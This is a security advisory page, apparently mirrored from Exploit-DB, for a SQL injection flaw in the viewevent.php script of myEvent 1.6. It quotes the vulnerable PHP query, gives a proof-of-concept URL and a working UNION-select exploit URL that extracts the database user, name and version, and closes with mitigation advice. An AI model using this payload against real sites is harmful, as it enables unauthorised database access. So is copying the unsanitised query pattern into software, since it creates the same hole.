myEvent 1.6 (viewevent.php) Remote SQL Injection Vulnerability

vendor:

myEvent

by:

JosS

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: myEvent

Affected Version From: 1.6

Affected Version To: 1.6

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

myEvent 1.6 (viewevent.php) Remote SQL Injection Vulnerability

A remote SQL injection vulnerability exists in myEvent 1.6. An attacker can exploit this vulnerability to inject arbitrary SQL commands in the application by sending a specially crafted HTTP request to the vulnerable script. This can allow the attacker to gain access to the application database and potentially gain access to sensitive information.

Mitigation:

Input validation should be used to prevent SQL injection attacks. All user-supplied input should be validated and filtered before being used in SQL queries.

Source

Exploit-DB raw data:

# myEvent 1.6 (viewevent.php) Remote SQL Injection Vulnerability
# url: http://mywebland.com/
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
# Greetz To: All Hackers and milw0rm website

vuln file: /viewevent.php
vuln code:
43: if (isset($_GET['eventdate']))
xx: ...
93: $sql = "SELECT  * FROM event WHERE  date = '$eventdate'" ;

94: $results = mysql_query($sql) or die("Cannot query the database.<br>" . mysql_error());

95: $event  = mysql_num_rows($results);

PoC:     /viewevent.php?eventdate='[foo]
Exploit: /viewevent.php?eventdate='+union+all+select+1,1,concat(user(),char(32,35),database(),char(32,35),version())/*

# milw0rm.com [2008-10-15]